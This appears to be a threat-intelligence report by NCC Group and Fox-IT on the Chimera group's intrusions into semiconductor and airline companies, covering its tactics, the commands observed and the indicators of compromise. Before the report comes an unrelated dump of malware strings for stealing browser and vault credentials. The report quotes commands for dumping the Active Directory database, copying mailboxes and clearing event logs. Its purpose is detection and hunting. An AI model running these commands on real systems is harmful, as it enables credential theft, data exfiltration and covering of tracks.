gzip
Host
://
HTTP/1.1 404 Not Found
Content-Length: 0
://
HTTP/1.1 503 Service Unavailable
Content-Length: 0
http://
https://
Referer
Upgrade
Cache-Control
Last-Modified
Etag
no-cache, no-store, must-revalidate
ocsp
TEXT HTML JSON JAVASCRIPT
SECUR32.DLL
SECURITY.DLL
InitSecurityInterfaceW
BUNNY
SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
SendTrustedIssuerList
@ID@
URL=
Main
@RANDSTR@
Blocked
@GROUP@
BLOCKCFG=
LOADCFG=
DELCFG=
VIDEO=
VNC=
SOCKS=
CFGON=
CFGOFF=
ENCRYPT=
http
@%s@
http
grabs=
POST
PUT
GET
HEAD
OPTIONS
URL: %s
REF: %s
LANG: %s
AGENT: %s
COOKIE: %s
POST: 
USER: %s
USERID: %s
@*@
***
IE:
:Microsoft Unified Security Protocol Provider
FF:
CR:
ED:
iexplore
firefox
chrome
edge
InitRecv %u, %s%s
CompleteRecv %u, %s%s
LoadUrl %u, %s
NEWGRAB
CertGetCertificateChain
CertVerifyCertificateChainPolicy
NSS_Init
NSS_Shutdown
nss3.dll
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
hostname
vaultcli
%PROGRAMFILES%\Mozilla Thunderbird
encryptedUsername
%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default
encryptedPassword
logins.json
%systemroot%\syswow64\svchost.exe
Software\Microsoft\Internet Explorer\IntelliForms\Storage2
FindCloseUrlCache
VaultEnumerateItems
type=%s, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
FindNextUrlCacheEntryW
FindFirstUrlCacheEntryW
DeleteUrlCacheEntryW
VaultEnumerateVaults
VaultOpenVault
VaultCloseVault
VaultFree
VaultGetItem
c:\test\sqlite3.dll
SELECT origin_url, username_value, password_value FROM logins
encrypted_key":"
default\login data
BCryptSetProperty
%userprofile%\appdata\local\google\chrome\user data
local state
DPAPI
v10
BCryptDecrypt
AES
Microsoft Primitive Provider
BCryptDestroyKey
BCryptCloseAlgorithmProvider
ChainingModeGCM
BCryptOpenAlgorithmProvider
BCryptGenerateSymmetricKey
BCRYPT
%userprofile%\appData\local\microsoft\edge\user data

tl;dr

NCC Group and Fox-IT have been tracking a threat group with a wide set of interests, from intellectual property (IP) from victims in the semiconductors industry through to passenger data from the airline industry.

In their intrusions they regularly abuse cloud services from Google and Microsoft to achieve their goals. NCC Group and Fox-IT observed this threat actor during various incident response engagements performed between October 2019 until April 2020. Our threat intelligence analysts noticed clear overlap between the various cases in infrastructure and capabilities, and as a result we assess with moderate confidence that one group was carrying out the intrusions across multiple victims operating in Chinese interests.

In open source this actor is referred to as Chimera by CyCraft.

NCC Group and Fox-IT have seen this actor remain undetected, their dwell time, for up to three years. As such, if you were a victim, they might still be active in your network looking for your most recent crown jewels.

We contained and eradicated the threat from our client’s networks during incident response whilst our Managed Detection and Response (MDR) clients automatically received detection logic.

With this publication, NCC Group and Fox-IT aim to provide the wider community with information and intelligence that can be used to hunt for this threat in historic data and improve detections for intrusions by this intrusion set.

Throughout we use terminology to describe the various phases, tactics, and techniques of the intrusions standardized by MITRE with their ATT&CK framework . Near the end of this article all the tactics and techniques used by the adversary are listed with links to the MITRE website with more information.

From initial access to defense evasion: how it is done

In all the intrusions we have observed they are performed in similar ways by the adversary: from initial access all the way to actions on objectives. The objective in these cases appear to be stealing sensitive data from the victim’s networks.

Credential theft and password spraying to Cobalt Strike

This adversary starts with obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix or another remote service that allows access to the network of the victim. Information regarding these remotes services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. As soon as they have a foothold on a system (also known as patient zero or index case), they check the permissions of the account on that system, and attempt to obtain a list of accounts with administrator privileges. With this list of administrator-accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into memory of patient zero. From here on the adversary stops using the victim’s remote service to access the victim’s network, and starts using the Cobalt Strike beacon for remote access and command and control.

Network discovery and lateral movement

The adversary continues their discovery of the victim’s network from patient zero. Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. After this the adversary dumps the domain admin credentials from the memory of this machine, continues lateral moving through the network, and places Cobalt Strike beacons on servers for increased persistent access into the victim’s network. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones. The adversary is typically able to perform all the steps described above within one day.

During this process, the adversary identifies data of interest from the network of the victim. This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and personally identifiable information (PII) scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary.

After the adversary completes their initial exfiltration, they return every few weeks to check for new data of interest and user accounts. At times they have been observed attempting to perform a degree of anti-forensic activities including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives. But this isn’t done consistently across their engagements.

Framing the adversary’s work in the MITRE ATT&CK framework

Credential access (TA0006)

The earliest and longest lasting intrusion by this threat we observed, was at a company in the semiconductors industry in Europe and started early Q4 2017. The more recent intrusions took place in 2019 at companies in the aviation industry. The techniques used to achieve access at the companies in the aviation industry closely resembles techniques used at victims in the semiconductors industry.

The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols. Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g.<username>@<email domain>. While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\<username>. And attempted logins came from a relative small set of IP-addresses.

For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying.

Initial access (TA0001)

In some of the intrusions the adversary used the valid account to directly login to a Citrix environment and continued their work from there.

In one specific case, the adversary now armed with the valid account, was able to access a document stored in SharePoint Online, part of Microsoft Office 365. This specific document described how to access the internet facing company portal and the web-based VPN client into the company network. Within an hour after grabbing this document, the adversary accessed the company portal with the valid account.

From this portal it was possible to launch the web-based VPN. The VPN was protected by two-factor authentication (2FA) by sending an SMS with a one-time password (OTP) to the user account’s primary or alternate phone number. It was possible to configure an alternate phone number for the logged in user account at the company portal. The adversary used this opportunity to configure an alternate phone number controlled by the adversary.

By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. However, they also made a mistake during this process within one incident. Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to. However the European owner of the account received a text message with Simplified Chinese characters on the primary phone number in the middle of the night Eastern European Time (EET). NCC Group and Fox-IT identified that the language in the text-message for 2FA is based on the web browser’s language settings used during the authentication flow. Thus the 2FA code was sent with supporting Chinese text.

Account discovery (T1087)

With access into the network of the victim, the adversary finds a way to install a Cobalt Strike beacon on a system of the victim (see Execution). But before doing so, we observed the adversary checking the current permissions of the obtained user account with the following commands:

net user
net user Administrator
net user <username> /domain
net localgroup administrators

If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist, and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows quser-command to show logged on users is also heavily used by them. If such a privileged user was recently active on a server the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes.

Privilege escalation (TA0004)

The adversary started a password spraying attack against those domain admin accounts, and successfully got a valid domain admin account this way. In other cases, the adversary moved laterally to another system with a domain admin logged in. We observed the use of Mimikatz on this system and saw the hashes of the logged in domain admin account going through the command and control channel of the adversary. The adversary used a tool called NtdsAudit to dump the password hashes of domain users as well as we observed the following command:

msadcs.exe "NTDS.dit" -s "SYSTEM" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv

Note: the adversary renamed ntdsaudit.exe to msadcs.exe.

But we also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit:

ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\tmp" q q
esentutl /p /o ntds.dit

Both ntdsutil and esentutl are by default installed on a domain controller.

A tool used by the adversary which wasn’t installed on the servers by default, was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both.

Execution (TA0002)

The adversary installs a hackers best friend during the intrusion: Cobalt Strike. Cobalt Strike is a framework designed for adversary simulation intended for penetration testers and red teams. It has been widely adopted by malicious threats as well.

The Cobalt Strike beacon is installed in memory by using a PowerShell one-liner. At least the following three versions of Cobalt Strike have been in use by the adversary:

• Cobalt Strike v3.8, observed Q2 2017
• Cobalt Strike v3.12, observed Q3 2018
• Cobalt Strike v3.14, observed Q2 2019

Fox-IT has been collecting information about Cobalt Strike team servers since January 2015. This research project covers the fingerprinting of Cobalt Strike servers and is described in Fox-IT blog “Identifying Cobalt Strike team servers in the wild”. The collected information allows Fox-IT to correlate Cobalt Strike team servers, based on various configuration settings. Because of this, historic information was available during this investigation. Whenever a Cobalt Strike C2 channel was identified, Fox-IT performed lookups into the collection database. If a match was found, the configuration of the Cobalt Strike team server was analysed. This configuration was then compared against the other Cobalt Strike team servers to check for similarities in for example domain names, version number, URL, and various other settings.

The adversary heavily relies on scheduled tasks for executing a batch-file (.bat) to perform their tasks. An example of the creation of such a scheduled task by the adversary:

schtasks /create /ru "SYSTEM" /tn "update" /tr "cmd /c c:\windows\temp\update.bat" /sc once /f /st 06:59:00

The batch-files appear to be used to load the Cobalt Strike beacon, but also to perform discovery commands on the compromised system.

Persistence (TA0003)

The adversary loads the Cobalt Strike beacon in memory, without any persistence mechanisms on the compromised system. Once the system is rebooted, the beacon is gone. The adversary is still able to have persistent access by installing the beacon on systems with high uptimes, such as server. Besides using the Cobalt Strike beacon, the adversary also searches for VPN and firewall configs, possibly to function as a backup access into the network. We haven’t seen the adversary use those access methods after the first Cobalt Strike beacons were installed. Maybe because it was never necessary.

After the first bulk of data is exfiltrated, the persistent access into the victim’s network is periodically used by the adversary to check if new data of interest is available. They also create a copy of the NTDS.dit and SYSTEM-registry hive file for new credentials to crack.

Discovery (TA0007)

The adversary applied a wide range of discovery tactics. In the list below we have highlighted a few specific tools the adversary used for discovery purposes. You can find a summary of most of the commands used by the adversary to perform discovery at the end of this article.

Account discovery tool: PsLogList
Command used:

psloglist.exe -accepteula -x security -s -a <date>

This command exports a text file with comma separated fields. The text files contain the contents of the Security Event log after the specified date.

Psloglist is part of the Sysinternals toolkit from Mark Russinovich (Microsoft). The tool was used by the adversary on various systems to write events from the Windows Security Event Log to a text file. A possible intent of the adversary could be to identify if privileged users are active on the systems. If such a privileged user was recently active on a server the actor executes Cobalt Strike’s built-in Mimikatz to dump its credentials or password hash.

Account discovery tool: NtdsAudit
Command used:

msadcs.exe "NTDS.dit" -s "SYSTEM" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv

It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv.

The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page.

Network service scanning
Command used:

get -b <start ip> -e <end ip> -p
get -b <start ip> -e <end ip>

Get.exe appears to be a custom tool used to scan IP-ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP & HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network.

The tool was shared on a Chinese forum around 2016.

Figure 1: Example of a download location for GetHttpsInfo.exe

Lateral movement (TA0008)

The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. The adversary attempts to move to a domain controller as soon as possible after getting foothold into the victim’s network. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve PII from memory, or a fileserver to copy IP, as we have both observed.

At one customer, the data of interest was stored in a separate security zone. The adversary was able to find a dual homed system and compromise it. From there on they used it as a jump host into the higher security zone and started collecting the intellectual property stored on a file server in that zone.

In one event we saw the adversary compromise a Linux-system through SSH. The user account was possibly compromised on the Linux server by using credential stuffing or password spraying: Logfiles on the Linux-system show traces which can be attributed to a credential stuffing or password spraying attack.

Lateral tool transfer (T1570)

The adversary is applying living off the land techniques very well by incorporating default Windows tools in its arsenal. But not all tools used by the adversary are so called lolbins: As said before, they use Cobalt Strike. But they also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data.

But first: How did they get the tools on the victim’s systems? The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools. A few examples of commands we observed:

copy get.exe \\<ip>\c$\windows\temp\
copy msadc* \\<hostname>\c$\Progra~1\Common~1\System\msadc\
copy update.exe \\<ip>\c$\windows\temp\
move ak002.bat \\<ip>\c$\windows\temp\update.bat

Collection (TA0009)

In preparation of exfiltration of the data needed for their objective, the adversary collected the data from various sources within the victim’s network. As described before, the adversary collected data from an information repository, Microsoft SharePoint Online in this case. This document was exfiltrated and used to continue the intrusion via a company portal and VPN.

In all cases we’ve seen the adversary copying results of the discovery phase, like file- and directory lists from local systems, network shared drives, and file shares on remote systems. But email collection is also important for this adversary: with every intrusion we saw the mailbox of some users being copied, from both local and remote systems:

wmic /node:<ip> process call create "cmd /c copy c:\Users\<username>\<path>\backup.pst c:\windows\temp\backup.pst"
copy "i:\<path>\<username>\My Documents\<filename>.pst"
copy \\<hostname>\c$\Users\<username>\AppData\Local\Microsoft\Outlook*.ost

Files and folders of interest are collected as well and staged for exfiltration.

The goal of targeting some victims appears to be to obtain Passenger Name Records (PNR). How this PNR data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve PNR data from memory of systems where such data is typically processed, such as flight booking servers.

The DLL’s used were side-loaded in memory on compromised systems. After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory.

Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic.

We’ve seen the adversary staging data on a remote system or on the local system. Most of the times the data is compressed and copied at the same time. Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command-line. The filename of the command-line executable for WinRAR is RAR.exe by default.

This activity group always uses a renamed version of rar.exe. We have observed the following filenames overlapping all intrusions:

• jucheck.exe
• RecordedTV.ms
• teredo.tmp
• update.exe
• msadcs1.exe

The adversary typically places the executables in the following folders:

• C:\Users\Public\Libraries\
• C:\Users\Public\Videos\
• C:\Windows\Temp\

The following four different variants of the use of rar.exe as update.exe we have observed:

update a -m5 -hp<password> <target_filename> <source>
update a -m5 -r -hp<password> <target_filename> <source>
update a -m5 -inul -hp<password> <target_filename> <source>
update a -m5 -r -inul -hp<password> <target_filename> <source>

The command lines parameters have the following effect:

• a = add to archive.
• m5 = use compression level 5.
• r = recurse subfolders.
• inul = suppress error messages.
• hp<password> = encrypt both file data and headers with password.

The used password, file extensions for the staged data differ per intrusion. We’ve seen the use of .css, .rar, .log.txt, and no extension for staged pieces of data.

After compromising a host with a Linux operating systems, data is also compressed. This time the adversary compresses the data as a gzipped tar-file: tar.gz. Sometimes no file extension is used, or the file extension is .il. Most of the times the files names are prepended with adsDL_ or contain the word “list”. The files are staged in the home folder of the compromised user account: /home/<username>/

Command and control (TA0011)

The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity. With all this activity data, it was possible for us to create some insight into the ‘office’-hours of this adversary. The activity took place six days a week, rarely on Sundays. The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC. We observed some periods where we expected activity of the adversary, but almost none was observed. These periods match with the Chinese Golden Week holiday.

Figure 2: Heatmap of activity. Times on the X-axis are in UTC.

The adversary also changed their domains for command & control around the same time they switched C2 protocols. They used a subdomain under a regular parent domain with a .com TLD in 2017 and 2018, but they started using sub-domains under the parent domain appspot.com and azureedge.net in 2019. The parent domain appspot.com is a domain owned by Google, and part of Google’s App Engine platform as a service. Azureedge.net is a parent domain owned by Microsoft, and part of Microsoft’s Azure content delivery network.

Exfiltration (TA0010)

The adversary uses the command and control channel to exfiltrate small amounts of data. This is usually information containing account details. For large amounts of data, such as the mailboxes and network shares with intellectual property, they use something else.

Once the larger chunks of data are compressed, encrypted, and staged, the data is exfiltrated using a custom built tool. This tool exfiltrates specified files to cloud storage web services. The following cloud storage web services are supported by the malware:

• Dropbox
• Google Drive
• OneDrive

The actor specifies the following arguments when running the exfiltration tool:

• Name of the web service to be used
• Parameters used for the web service, such as a client ID and/or API key
• Path of the file to read and exfiltrate to the web service

We have observed the exfiltration tool in the following locations:

• C:\Windows\Temp\msadcs.exe
• C:\Windows\Temp\OneDrive.exe

Hashes of these files are listed at the end of this article.

Defense evasion (TA0005)

The adversary attempts to clean-up some of the traces from their intrusions. While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity:

• Windows event logs clearing,
• File deletion,
• Timestomping

An overview of the observed commands can be found in the appendix.

For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command. This tool is included in the UnxUtils repository. This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline. Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system.

The same activity group?

A number of our intrusions involved tips from an industry partner who was able to correlate some of their upstream activity.

Our threat intelligence analysts observed clear overlap between the various cases that NCC Group and Fox-IT worked in the threat’s infrastructure and capabilities, and as a result we assess with moderate confidence one activity group was carrying out the intrusions across the different type of victims.

Some overlap is very generic for a lot for a lot of groups, like the use of Cobalt Strike, or exfiltration to OneDrive. But the tool used for exfiltration to OneDrive is very specific for this adversary. The use of appspot and azureedge domains as well. The naming convention for their subdomains, tools and scripts overlap too. In summary:

The adversary: Working hours match with GMT+8.

Infrastructure: appspot.com and azureedge.net for C2 with a strong overlap in naming convention for subdomains and actual overlap in some subdomains between intrusions.

Capability: Password spraying/credential stuffing. Cobalt Strike. Copy NTDS.dit. Use scheduled tasks and batch files for automation. The use of LOLBins. WinRAR. Cloud exfil tool and exfil to OneDrive. Erasing Windows Event Logs, files and tasks. Overlap in filenames for tools, staged data, and folders.

Victim: Semiconductors and aviation industry.

We considered labelling them as two activity groups, as of the difference in victims between various intrusions. But all the other overlap is strong enough for us to consider it as one group right now. This group might have gotten a new customer interested in different data which changed the intent and victims of the adversary.

But most importantly: The largest overlap is in the top half of the pyramid of pain: domain names, host artifacts, tools, and TTPs. And these are the hardest for the adversary to change, and most effective for long-lasting detection!

Figure 3: Pyramid of pain by David J Bianco

Fox-IT and NCC Group found some very strong overlap between what we’ve seen in our intrusion, and what Cycraft describes in their APT Group Chimera report and Blackhat presentation. The bulk of the victims they describe are in different regions than we observed which is likely caused by field of view bias. SentinelOne also describes an attack and shares IOC’s that show strong overlap with the intrusions we investigated.

Conclusion

At this moment we believe based on the evidence observed that the various intrusions were performed by the same group. We can only report what we observed: first they stole intellectual property in the high tech sector, later they stole passenger name records (PNR) from airlines, both across geographical locations. Both types of stolen data are very useful for nation states.

Answering if this group has an advanced persistent threat (APT) technique, has some sort of state affiliation, or where they come from goes beyond the scope of this write-up. The threat intelligence and IOC’s we are sharing are intended to help discover and present intrusions by this and adversaries.

A word of thanks goes out to all the forensic experts, incident responders, and threat intelligence analysts who helped victims identifying and eradicating the adversary. And everybody from NCC Group and Fox-IT (part of NCC Group) for all the contributions to this article.

IOC

Type	Data	Observed	Note
Binary MD5	133a159e86ff48c59e79e67a3b740c1e	–	get.exe (GetHttpsInfo)
Binary MD5	328ba584bd06c3083e3a66cb47779eac	–	psloglist.exe
Binary MD5	65cf35ddcb42c6ff5dc56d6259cc05f3	–	update.exe (WinRAR)
Binary MD5	4d5440282b69453f4eb6232a1689dd4a	–	msadcs.exe (Cloud exfil tool)
Binary MD5	90508ff4d2fc7bc968636c716d84e6b4	–	msadcs.exe (Cloud exfil tool)
Binary MD5	c9b8cab697f23e6ee9b1096e312e8573	–	jucheck.exe (WinRAR)
Binary MD5	dd138a8bc1d4254fed9638989da38ab1	–	msadcs.exe (NTDSAudit)
C2 domain	EuDbSyncUp[.]com	Q4 2017 – Q4 0218	–
C2 domain	UsMobileSos[.]com	Q4 2017 – Q4 2018	–
C2 domain	officeeuupdate.appspot[.]com	Q4 2017 – Q4 2018	–
C2 domain	MsCupDb[.]com	Q4 2017 – Q4 2018	–
C2 domain	officeeuropupd.appspot[.]com	Q3 2019 – Q1 2020	–
C2 domain	platform-appses.appspot[.]com	Q4 2019 – Q1 2020	–
C2 domain	watson-telemetry.azureedge[.]net	Q4 2019 – Q1 2020	–
C2 domain	europe-s03213.appspot[.]com	2019	–
C2 domain	eustylejssync.appspot[.]com	2019	–
C2 domain	fsdafdsfdsaflkjkxvzcuifsad.azureedge[.]net	2019	–
C2 domain	ictsyncserver.appspot[.]com	2019	–
C2 domain	sowfksiw38f2aflwfif.azureedge[.]net	2019	–
Filename	fs_action*.bat	–	Task automation
Filename	fs_action*.ps1	–	Task automation
Filename	update.bat	–	Task automation
Filename	update*.bat	–	Task automation
Filename	*dsinternals*.dll	–	Dsinternals lib files
Filename	get.exe	–	GetHttpsInfo
Filename	adsDL_<dir>.log	–	Staging data
Filename	group_membership.csv	–	SharpHound output
Filename	local_admins.csv	–	SharpHound output
Filename	msadcs.exe	–	Various tools
Filename	msadcs1.exe	–	WinRAR
Filename	OneDrive.exe	–	Cloud data exfil
Filename	sessions.csv	–	SharpHound output
Filename	RecordedTV.ms	–	WinRAR
Filename	RecordedTV_*.csv	–	Staging data
Filename	RecordedTV_*.ms	–	Staging data
Filename	RecordedTV_*.rar	–	Staging data
Filename	RecordedTV_*.txt	–	Staging data
Filename	teredo.tmp	–	WinRAR
Filename	update.exe	–	WinRAR
Filename	hsperfdata.sqm	–	Archive with tools
Filename	update*.log	–	Staging data
Hostname	DESKTOP-0FVJ37C	–	Origin of login to Exchange
IPv4 address	47.75.0[.]147	Q2 2019	Password spray
IPv4 address	59.47.4[.]27	Q2 2019	ADFS login
IPv4 address	45.9.248[.]74	Q2 2019	Citrix login
IPv4 address	172.111.210[.]53	Q2 2019	Citrix login
IPv4 address	103.51.145[.]123	2019	Initial access
IPv4 address	119.39.248[.]32	2019	Initial access
IPv4 address	120.227.35[.]98	2019	Initial access
IPv4 address	14.229.140[.]66	2019	Mount the file-share
IPv4 address	172.111.210[.]53	2019	Initial access
IPv4 address	188.72.99[.]41	2019	Initial access
IPv4 address	45.9.248[.]74	2019	Initial access
IPv4 address	47.75.0[.]147	2019	Password spray
IPv4 address	5.254.112[.]226	2019	Initial access
IPv4 address	5.254.64[.]234	2019	Initial access
IPv4 address	59.47.4[.]27	2019	Initial access
IPv4 address	39.109.5[.]135	Q3 2017	VPN server login
IPv4 address	43.250.200[.]106	Q3 2017	VPN server login
IPv4 address	119.39.248[.]101	Q3 2017	VPN server login
IPv4 address	220.202.152[.]47	Q3 2017	VPN server login
IPv4 address	119.39.248[.]20	Q3 2017	VPN server login
IPv4 address	185.170.210[.]84	Q3 2017	VPN server login
IPv4 address	43.250.201[.]71	Q3 2017	VPN server login
IPv4 address	23.236.77[.]94	Q3 2017	ADFS login
Path	C:\Code\NtdsAudit\src\NtdsAudit\obj\Release\	–	NTDSAudit artifacts
Path	C:\Users\Public\Appdata\Local\	–	Staging and tools
Path	C:\Users\Public\Appdata\Local\Microsoft\Windows\INetCache	–	Staging and tools
Path	C:\Users\Public\Libraries\	–	Staging and tools
Path	C:\Users\Public\Videos\	–	Staging and tools
Path	C:\Windows\Temp\	–	Staging and tools
Path	C:\Windows\Temp\tmp	–	Staging and tools
URI in CS beacon	/externalscripts/jquery/jquery-3.3.1.min.js	Q3 2019 – Q1 2020	–
URI in CS beacon	/externalscripts/jquery/jquery-3.3.2.min.js	Q2 2019 – Q3 2019	–
URI in CS beacon	/jquery-3.3.2.slim.min.js	Q1 2020	–
User-agent	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko	–	Web VPN login
User-agent	Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko	–	Cobalt Strike beacon

Observed discovery commands

Technique	Command
Account discovery	net user
Account discovery	net user Administrator
Account discovery	net user /domain
Account discovery	dir \\<hostname>\c$\users
Account discovery	dsquery user -limit 0 -s <hostname>
Account discovery	psloglist.exe -accepteula -x security -s -a <current_date>
Account discovery	msadcs.exe  “NTDS.dit” -s “SYSTEM” -p RecordedTV_pdmp.txt –users-csv RecordedTV_users.csv
Browser bookmark discovery	type \\<hostname>\c$\Users\<username>\Favorites\Links\Bookmarks bar\Imported From IE\*citrix*
Domain trust discovery	nltest /domain_trusts
File and directory discovery	dir \\<hostname>\c$\
File and directory discovery	dir /o:d /x /s c:\
File and directory discovery	dir /o:d /x \\<hostname>\<fileshare>
File and directory discovery	cacl <path to file>
Network service scanning	get -b <start ip> -e <end ip> -p
Network service scanning	get -b <start ip> -e <end ip>
Network share discovery	net share
Network share discovery	net view \\<hostname>
Permission groups discovery	net localgroup administrators
Process discovery	tasklist /v |findstr explorer
Process discovery	tasklist /v |findstr taskhost
Process discovery	tasklist /v |findstr 1716
Process discovery	tasklist /v /s <hostname/ip>
Query registry	reg query \\<host>\HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers
Query registry	reg query \\<host>\HKU\<SID>\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Remote system discovery	type \\<host>\c$\Users\<username>\Favorites\Links\Bookmarks bar\Imported From IE\*citrix*
Remote system discovery	type \\<host>\<path>\Cookies\*ctx*
Remote system discovery	reg query \\<host>\HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers
Remote system discovery	dir /o:d /x \\<hostname>\c$\users\<username>\Favorites
Remote system discovery	net view \\hostname
Remote system discovery	dsquery server -limit 0
System information discovery	fsutil fsinfo drives
System information discovery	systeminfo
System information discovery	vssadmin list shadows
System network configuration discovery	ipconfig
System network configuration discovery	ipconfig /all
System network configuration discovery	ping -n 1 -a <ip>
System network configuration discovery	ping -n 1 <hostname>
System network configuration discovery	tracert <ip>
System network configuration discovery	pathping <ip>
System network connections discovery	netstat -ano | findstr EST
System Owner/User Discovery	quser
System service discovery	net start
System service discovery	net use
System time discovery	time /t
System time discovery	net time \\<ip/hostname>

Observed Defense evasion commands

Indicator Removal on Host: Clear Windows Event Logs

wevtutil cl "Windows PowerShell"
wevtutil cl application
wevtutil cl security
wevtutil cl setup
wevtutil cl system

Indicator Removal on Host: File Deletion

del /f/q *.csv *.bin
del /f/q *.exe
del /f/q *.exe *log.txt
del /f/q *.ost
del /f/q .rar update .txt
del /f/q \\c$\windows\temp*.txt
del /f/q \\c$\Progra~1\Common~1\System\msadc\msadcs.dmp
del /f/q msadcs*
del /f/q psloglist.exe
del /f/q update*
del /f/q update* .txt del /f/q update.rar
del /f/q update*rar
del /f/q update12321312.rarschtasks /delete /s /tn "update" /f

schtasks /delete /tn "update" /f

shred -n 123 -z -u .tar.gz

MITRE ATT&CK references

Name	Type	ID	More info
Initial Access	Tactic	TA0001	https://attack.mitre.org/tactics/TA0001/
External Remote Services	Technique	T1133	https://attack.mitre.org/techniques/T1133/
Valid Accounts	Technique	T1078	https://attack.mitre.org/techniques/T1078/
Execution	Tactic	TA0002	https://attack.mitre.org/tactics/TA0002/
Command and Scripting Interpreter: PowerShell	Technique	T1059.001	https://attack.mitre.org/techniques/T1059/001/
Command and Scripting Interpreter: Windows Command Shell	Technique	T1059.003	https://attack.mitre.org/techniques/T1059/003/
Scheduled Task/Job: Scheduled Task	Technique	T1053.005	https://attack.mitre.org/techniques/T1053/005/
System Services: Service Execution	Technique	T1569.002	https://attack.mitre.org/techniques/T1569/002/
Windows Management Instrumentation	Technique	T1047	https://attack.mitre.org/techniques/T1047/
Persistence	Tactic	TA0003	https://attack.mitre.org/tactics/TA0003/
External Remote Services	Technique	T1133	https://attack.mitre.org/techniques/T1133/
